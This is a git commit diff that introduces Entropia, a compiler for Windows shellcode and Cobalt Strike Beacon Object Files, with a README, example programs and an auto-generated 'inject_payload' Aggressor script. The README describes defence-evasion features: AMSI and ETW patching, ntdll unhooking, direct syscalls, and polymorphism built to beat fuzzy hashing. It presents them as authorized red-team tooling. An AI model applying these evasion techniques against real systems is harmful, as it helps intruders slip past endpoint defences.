commit 05acaba2a1a5fbde8cec3318319d053265ddb7ca Author: XaFF-XaFF Date: Tue Jun 23 15:21:12 2026 +0200 Repository migration + experimental (stable version v0.1) of Entropia compiler diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ac3485f --- /dev/null +++ b/.gitignore @@ -0,0 +1,59 @@ +/target/ +**/target/ +**/*.rs.bk +Cargo.lock.bak + +example/*.bin +example/*.obj +example/*.x64.o +example/*.x86.o +example/*.dbg +example/*.cna +*.bin +*.obj +*.x64.o +*.x86.o +*.dbg + +/tmp_build/ +build/ +out/ +docs/ + +tools/vscode-entropykit/*.vsix +tools/vscode-entropykit/node_modules/ +tools/vscode-entropykit/out/ +tools/vscode-entropykit/dist/ + +example/sclauncher64.exe +run_bin +run_bin.exe +TODO.md + +.vscode/ +!.vscode/launch.json +!.vscode/tasks.json +.idea/ +*.swp +*.swo +*~ +.vs/ +*.code-workspace +.claude/ +.copilot/ + +.DS_Store +Thumbs.db +desktop.ini + +*.log +*.log.* + +tools/entc-win32gen/.venv/ +tools/entc-win32gen/__pycache__/ +tools/entc-win32gen/*.pyc + +.env +.env.* +*.pem +*.key diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..af3d50c --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,229 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "bof-loader" +version = "0.1.0" +dependencies = [ + "windows-sys", +] + +[[package]] +name = "bof-runner" +version = "0.1.0" +dependencies = [ + "bof-loader", +] + +[[package]] +name = "entc-debug" +version = "0.1.0" +dependencies = [ + "bof-loader", + "iced-x86", + "serde", + "serde_json", + "windows-sys", +] + +[[package]] +name = "entc-win32gen" +version = "0.1.0" +dependencies = [ + "windows-metadata", +] + +[[package]] +name = "entropykit" +version = "0.1.0" + +[[package]] +name = "iced-x86" +version = "1.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c447cff8c7f384a7d4f741cfcff32f75f3ad02b406432e8d6c878d56b1edf6b" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "memchr" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" + +[[package]] +name = "proc-macro2" +version = "1.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41f2619966050689382d2b44f664f4bc593e129785a36d6ee376ddf37259b924" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.149" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "syn" +version = "2.0.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "windows-metadata" +version = "0.60.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3433ff56dde0408f2549eb155235c9991023d8c2a13608afa384d2681a6c3ad5" + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "zmij" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa" diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..9e09d99 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,22 @@ +[workspace] +members = [ + ".", + "tools/entc-win32gen", + "tools/entc-debug", + "tools/bof-runner", + "tools/bof-loader", +] +resolver = "2" + +[package] +name = "entropykit" +version = "0.1.0" +edition = "2021" + +[[bin]] +name = "entc" +path = "src/main.rs" + +[profile.release] +opt-level = 3 +lto = true diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..05c78ef --- /dev/null +++ b/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright 2026 Ksawery Czapczyński + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/README.md b/README.md new file mode 100644 index 0000000..0b2b7fa --- /dev/null +++ b/README.md @@ -0,0 +1,351 @@ +
+ + + + Entropia + + +# Entropia + +A compiled language for Windows position-independent x86-64 shellcode and Beacon Object Files. + +[![License](https://img.shields.io/badge/license-Apache--2.0-cc2222?style=flat-square)](LICENSE) +[![Docs](https://img.shields.io/badge/docs-docs.entropykit.com-cc2222?style=flat-square)](https://docs.entropykit.com) +[![Build](https://img.shields.io/badge/build-cargo--build-cc2222?style=flat-square)](#building-from-source) +[![Platform](https://img.shields.io/badge/target-windows--x64-cc2222?style=flat-square)](#) +[![Status](https://img.shields.io/badge/status-experimental-cc2222?style=flat-square)](#status) + +[**Documentation**](https://docs.entropykit.com)  ·  +[**Project Setup**](https://docs.entropykit.com/getting-started/project-setup)  ·  +[**CLI Reference**](https://docs.entropykit.com/getting-started/cli)  ·  +[**Releases**](https://github.com/entropykit/entropia/releases) + +
+ +--- + +## A complete BOF in less then 30 lines + +```rust +use bof; +use_c "stdlib/win32/toolhelp.h"; + +fn go(args: char*, len: int) -> void { + var snap: u64 = (u64)Kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap == 0xFFFFFFFFFFFFFFFF { ret; } + + var pe: PROCESSENTRY32; + pe.dwSize = (u32)sizeof(PROCESSENTRY32); + + var ok: int = Kernel32.Process32First((void*)snap, &pe); + while ok != 0 { + BeaconPrintf(CALLBACK_OUTPUT, str.format("[+] {d} {s}\n", + (int)pe.th32ProcessID, + (char*)pe.szExeFile)); + ok = Kernel32.Process32Next((void*)snap, &pe); + } + Kernel32.CloseHandle((void*)snap); + ret; +} +``` + +That is a complete `ps` BOF. The `use_c` line pulls the `PROCESSENTRY32` +struct and the `TH32CS_SNAPPROCESS` constant straight from the Windows SDK +header, so you write the snapshot kind by name instead of as a raw `0x2` and +the struct layout matches the Microsoft ABI byte for byte. No IAT to +hand-roll, no relocations to apply yourself. `Kernel32.X(...)` calls lower +to indirect calls through slots the runtime fills before user code runs. + +--- + +## Quick start + +```bash +git clone https://github.com/entropykit/entropia.git +cd entropia + +# Build the workspace (3 binaries: entc, bof-runner, entc-debug) +cargo build --release + +# Compile a BOF with the full OPSEC stack enabled +./target/release/entc compile example/bof_pslist.etpy --type=bof --opsec=all + +# Run it under the local test harness +./target/release/bof-runner example/bin/bof_pslist.x64.o +``` + +For prebuilt binaries: grab them from +[GitHub Releases](https://github.com/entropykit/entropia/releases) and skip +the `cargo build` step. You can find full walkthrough including at +[docs.entropykit.com/getting-started/installation](https://docs.entropykit.com/getting-started/installation). + +--- + +## Why does this exist + +Most red-team artifacts ship through a build pipeline of three or four tools +chained together: a C compiler for the source, a linker, a +position-independence transform like DonutGen or sRDI, plus whatever you +wrote yourself to bolt OPSEC tricks on after the fact. Entropia compresses +that pipeline into a single compiler, while providing a modern high-level +language feeling. + +The output is the artifact you actually want, either a position-independent +shellcode blob or a Cobalt Strike Beacon Object File, with no post processing +step. The language is small enough to learn in an afternoon and complete +enough to ship production tooling in. The whole OPSEC stack +ships as compiler flags rather than post-build surgery. + +Because the compiler owns the pipeline end to end, everything composes. A +hand-written PEB walk in `asm { ... }`, a `[Hook("LIB$Func")]` attribute, +a `[Stage(Init)]` startup hook, and `--opsec=all` share the same internal +representation and do not fight each other. The artifact you ship is the +artifact the compiler emitted, polymorphed by a per-build random seed so +two consecutive builds of the same source differ by 67 to 78 percent at +the byte level. + +--- + +## Examples + +### Shellcode (`fn main` entry) + +```rust +use_c "winuser.h"; + +fn main() -> int { + User32.MessageBoxA(0, "hello", "entropia", 0); + ret 0; +} +``` + +```bash +entc compile hello.etpy # writes hello.bin +entc-debug hello.bin # run under the local loader +``` + +### BOF (`fn go` entry) + +```rust +use bof; + +fn go(args: char*, len: int) -> void { + var parser: datap; + BeaconDataParse(&parser, args, len); + var target: char* = BeaconDataExtract(&parser, 0); + BeaconPrintf(CALLBACK_OUTPUT, str.format("hello, {s}\n", target)); + ret; +} +``` + +```bash +entc compile hello.etpy --type=bof +bof-runner hello.x64.o --zarg "operator" +``` + +### Inline assembly + a real PEB walk + +```rust +fn read_peb() -> u64 { + var peb: u64; + asm { + mov rax, gs:[0x60]; + mov %peb, rax; + } + ret peb; +} +``` + +### OPSEC pre-flight in one line + +```rust +use opsec_unhook; // restores ntdll text section from disk +use opsec_etw; // patches Etw* hot paths +use opsec_amsi; // patches AmsiScanBuffer return + +fn go(args: char*, len: int) -> void { + // Pre-flight modules run before this line via [Stage(Init)]. + // Your code runs in a clean process. + ret; +} +``` + +--- + +## The OPSEC stack + +Every technique below is opt-in via `--opsec=`. The build seed +(`--seed=random` is the default) drives every randomized choice. + +| Flag | What it does | Mode | +|---|---|---| +| `poly` | Rewrites instructions after codegen. `xor` to `sub`, `mov MR` to `RM` to `lea`, `test` to `or` to `and`, NOP-run re-decomposition. | both | +| `nop_sled` | Pads every function entry with random multi-byte NOPs. Shifts every downstream byte offset so whole-binary fuzzy hashes drift between builds. | both | +| `strings_xor` | XOR-encrypts `.rdata` and `.data` with a per-build random key. Decryptor runs before user code. | shellcode | +| `stack_strings` | Materialises string constants on the stack rather than in `.rdata`. Eliminates plaintext strings from the artifact. | both | +| `direct_syscalls` | Auto-imports a HellsGate-style stub. Every `Ntdll.X(...)` dispatches via `syscall` inside our code region. | both | +| `indirect_syscalls` | Auto-imports an indirect-syscall stub. Every `Ntdll.X(...)` jumps to a `syscall;ret` gadget inside ntdll itself. | both | +| `hashed_imports` | Drops every `__imp_LIB$Func` external symbol from BOFs. Win32 imports resolve at runtime via PEB walk plus LoadLibraryA plus GetProcAddress. | BOF | + +Stack spoofing (Draugr-style synthetic call frames) and operator-selectable +sleep masks are available as explicit `use opsec_stack_spoof;` and +`use opsec_sleep_mask;` imports. + +> Measured byte-level diversity between two builds with `--opsec=all` and +> different seeds: **67 to 78 percent.** Well past every published fuzzy-hash +> threshold. + +--- + +## What's in the box + +| Binary | What it does | +|---|---| +| `entc` | The compiler. Takes `.etpy` source files, produces `.bin` shellcode or `.x64.o` BOFs. | +| `bof-runner` | Local test harness for BOFs. Applies relocations, fills the Beacon API stubs, calls `go(args, len)`. | +| `entc-debug` | Debug Adapter Protocol server. Powers VS Code F5 and F9. | +| `entc-win32gen` | Generates typed C headers from Microsoft's win32metadata. | +| VS Code extension | Syntax highlighting, F5 build-and-run, F9 breakpoints inside inline asm. Located at `tools/vscode-entropykit/`. | + +--- + +## Building from source + +### Requirements + +- Rust 1.75 or newer ([rustup.rs](https://rustup.rs)). +- Windows x86-64 for running the produced binaries. The compiler itself builds + and runs on Linux and macOS too, but the output targets Windows. + +### Build everything + +```bash +cargo build --release +``` + +Three binaries land under `target/release/`: + +``` +target/release/entc.exe +target/release/bof-runner.exe +target/release/entc-debug.exe +``` + +### Build a single binary + +```bash +cargo build --release -p entropykit # entc only +cargo build --release -p bof-runner # local BOF harness only +cargo build --release -p entc-debug # DAP server only +``` + +### Install the VS Code extension + +```bash +python tools/vscode-entropykit/build.py install +``` + +Reload VS Code (Command Palette to "Developer: Reload Window") to pick it up. +Other actions (`uninstall`, `status`, `vsix`) are documented at +[docs.entropykit.com/getting-started/installation](https://docs.entropykit.com/getting-started/installation). + +Soon comming to VS Code marketplace + +--- + +## Documentation + +Reference and guides live at +**[docs.entropykit.com](https://docs.entropykit.com)**. + +| Section | What it covers | +|---|---| +| [Getting Started](https://docs.entropykit.com/getting-started/installation) | Install, project setup, first program, CLI reference, every compiler flag. | +| [Language](https://docs.entropykit.com/language/overview) | Types, control flow, structs, pointers, indexing, casts, try and catch, inline asm, intrinsics, garbage collector. | +| [Modules and Stdlib](https://docs.entropykit.com/modules/use) | `use` and `use_c`, what is in the standard library. | +| [Win32](https://docs.entropykit.com/win32/calling-apis) | How `Lib.Function(...)` calls work end to end. Custom resolvers. | +| [BOF Mode](https://docs.entropykit.com/bof/overview) | `go(args, len)`, Beacon API, auto-generated Aggressor scripts, local testing, F5 debugging. | +| [OPSEC](https://docs.entropykit.com/opsec/overview) | Every flag explained with examples and trade-offs. | +| [Advanced](https://docs.entropykit.com/advanced/overrides) | `[Override(Slot)]`, `[Hook(...)]`, lifecycle stages. | + +A self-contained PDF snapshot of the docs ships with every tagged release. + +--- + +## Status + +Entropia is pre-1.0 and the surface is still moving. Expect changes between +commits to the compiler internals; the source-level language surface is +stable enough that the examples in this README are expected to keep working. + +Roughly what is done and what is in flight: + +| Area | Status | +|---|---| +| Compiler front end (lexer, parser, type checker) | Stable. | +| Codegen and encoder | Stable. New mnemonics get added as needed. | +| BOF mode | Stable. | +| Shellcode mode | Stable. | +| OPSEC stack (poly, syscalls, sleep masks, hashed imports) | Stable. | +| VS Code F5 / F9 flow | Stable. | +| Garbage collector | Stable. Manual mode is the recommended default for size-sensitive builds. | +| Linux / macOS toolchain support | Build-only. Generated artifacts always target Windows x86-64. | +| Tests | To be implemented. | +| ARM64 backend | Not started. | + +--- + +## Contributing + +Issues and pull requests are welcome. A few ground rules: + +- **Bug reports**: include the smallest `.etpy` that reproduces the issue and + the exact `entc compile` command line. Compiler bugs that fail at build time + are easier to triage than runtime crashes; runtime crashes need the artifact + and the host environment too. +- **New language features**: open an issue first to discuss the design. The + language surface is small on purpose. +- **OPSEC techniques**: new `--opsec=*` flags or new `opsec_*` stdlib modules + are encouraged. Pair the implementation with a stdlib example and a docs + page explaining the trade-off. +- **Pre-commit**: run `cargo build --release` and `cargo test --release` + before pushing. We will add a CI workflow that enforces this. + +--- + +## Authorization and responsible use + +Entropia is dual-use security tooling. The example BOFs implement +well-documented offensive primitives (process enumeration, token +impersonation, remote injection, LSASS dump, AMSI and ETW silencing) that +you can find in mainstream tradecraft references like nanodump, mimikatz, +TrustedSec's CS-Situational-Awareness-BOF collection, and Cobalt Strike's +stock BOF library. + +Use Entropia only in authorized red-team engagements, CTF environments, and +security research. The authors assume no liability for misuse. + +--- + +## Acknowledgments + +Entropia stands on the shoulders of a community of public research: + +- **Cobalt Strike** for defining the BOF format and the Beacon API surface. +- **TrustedSec** for the CS-Situational-Awareness-BOF collection and the + COFFLoader reference. +- **nanodump**, **freshycalls**, **HellsGate**, **HalosGate**, **TartarusGate** + for syscall-stub research. +- **Ekko**, **Foliage**, **Draugr** for sleep-mask and stack-spoofing + techniques. +- **win32metadata** for the typed Win32 surface generation. + +--- + +
+ +[Documentation](https://docs.entropykit.com)  ·  +[Releases](https://github.com/entropykit/entropia/releases)  ·  +[EntropyKit](https://entropykit.com) + +
diff --git a/assets/logo-dark.svg b/assets/logo-dark.svg new file mode 100644 index 0000000..a445e3c --- /dev/null +++ b/assets/logo-dark.svg @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + diff --git a/assets/logo-light.svg b/assets/logo-light.svg new file mode 100644 index 0000000..719cb19 --- /dev/null +++ b/assets/logo-light.svg @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + diff --git a/examples/asm_demo.etpy b/examples/asm_demo.etpy new file mode 100644 index 0000000..75c4919 --- /dev/null +++ b/examples/asm_demo.etpy @@ -0,0 +1,127 @@ +// SPDX-License-Identifier: Apache-2.0 + +// Function-local statics don't exist yet - we use a top-level one +// the asm block reads + writes by name. +static accumulator: u64 = 0; + + +// Take a value through a register so callers can confirm `%a` resolved +// to the right frame slot. +fn identity(a: u64) -> u64 { + var result: u64; + asm { + mov rax, %a // load param from its frame slot + mov %result, rax // store rax into the local's slot + } + ret result; +} + +// Add via inline asm using two parameters. Shows the params are +// already spilled to the frame when the asm block runs, so `%a` +// and `%b` work the same way as locals. +fn asm_add(a: u64, b: u64) -> u64 { + var result: u64; + asm { + mov rax, %a + add rax, %b + mov %result, rax + } + ret result; +} + +// Counted loop demonstrating asm-local labels + conditional jumps. +// Sums 1..=n via plain ADDs, no host-language control flow. +fn asm_sum_to(n: u64) -> u64 { + var total: u64 = 0; + var i: u64 = 1; + asm { + mov rax, %total + mov rcx, %i + mov rdx, %n + loop_top: + cmp rcx, rdx + ja done // unsigned above to i > n, exit + add rax, rcx + inc rcx + jmp loop_top + done: + mov %total, rax + } + ret total; +} + +// Pointer walk via memory operands. `buf` is a u64*; we sum the +// first `n` slots via `[reg + idx*8]` indexed loads. +fn asm_sum_array(buf: u64*, n: u64) -> u64 { + var total: u64 = 0; + asm { + xor rax, rax // total + xor rcx, rcx // idx + mov rdx, %buf + mov r8, %n + walk: + cmp rcx, r8 + jae fin + mov r9, [rdx + rcx*8] // qword-indexed load + add rax, r9 + inc rcx + jmp walk + fin: + mov %total, rax + } + ret total; +} + +// Call a local fn from inline asm with arg already loaded. Result +// comes back in rax under Win64; we drop it into a local for return. +fn asm_call_demo(x: u64) -> u64 { + var got: u64; + asm { + mov rcx, %x // load arg 0 into the Win64 slot + call %identity // to rax = x + mov %got, rax + } + ret got; +} + +// Mutate a static through asm. Demonstrates `%global` resolves to +// `[rip + __static_accumulator]` and that the static survives the +// in-asm round trip. +fn asm_bump_static(delta: u64) -> u64 { + asm { + mov rax, %accumulator + add rax, %delta + mov %accumulator, rax + } + ret accumulator; +} + +// Composition test: build a number through every flavour of inline +// asm, then pop a MessageBox showing the result so a human can see +// the demo ran. +fn main() -> int { + var x: u64 = 0x12345678; + var sum_1_to_10: u64 = asm_sum_to(10); // 55 + var added: u64 = asm_add(x, sum_1_to_10); + var echoed: u64 = asm_call_demo(added); + + // Sum a small inline buffer via the indexed-load helper. + var buf: u64[4]; + buf[0] = 1; + buf[1] = 2; + buf[2] = 4; + buf[3] = 8; + var arr_sum: u64 = asm_sum_array((u64*)buf, 4); // 15 + + // Bump the static twice to prove %global round-trips. + asm_bump_static(1); + asm_bump_static(arr_sum); // accumulator = 16 + + // Compose everything into a final number, pop it as a MessageBox. + var final_val: u64 = echoed + accumulator; + + // Format the value into a string buffer for the popup. + User32.MessageBoxA(0, str.format("asm demo: 0x{x}", final_val), + "EntropyKit inline asm", 0); + ret 0; +} diff --git a/examples/bin/bof_cna_test.cna b/examples/bin/bof_cna_test.cna new file mode 100644 index 0000000..7ef50d2 --- /dev/null +++ b/examples/bin/bof_cna_test.cna @@ -0,0 +1,16 @@ +# inject_payload.cna +# Auto-generated by entc from example/bof_cna_test.etpy. +# Do not edit by hand; regenerate by rebuilding the .obj. + +alias inject_payload { + local('$bid $pid $path'); + if (size(@_) != 3) { berror($1, "usage: inject_payload "); return; } + ($bid, $pid, $path) = @_; + $args = bof_pack($bid, "iz", $pid, $path); + bof_inline_execute($bid, script_resource("bof_cna_test.x64.o"), "inject_payload", $args); +} + +beacon_command_register( + "inject_payload", + "Auto-generated BOF command from example/bof_cna_test.etpy", + "Usage: inject_payload "); diff --git a/examples/bof_args_test.etpy b/examples/bof_args_test.etpy new file mode 100644 index 0000000..64026f5 --- /dev/null +++ b/examples/bof_args_test.etpy @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_args_test.etpy - declarative argument binding via [BofArgs]. +// +// The struct is annotated; the compiler synthesises +// bof_parse_TestArgs(args, len, &out) that drives 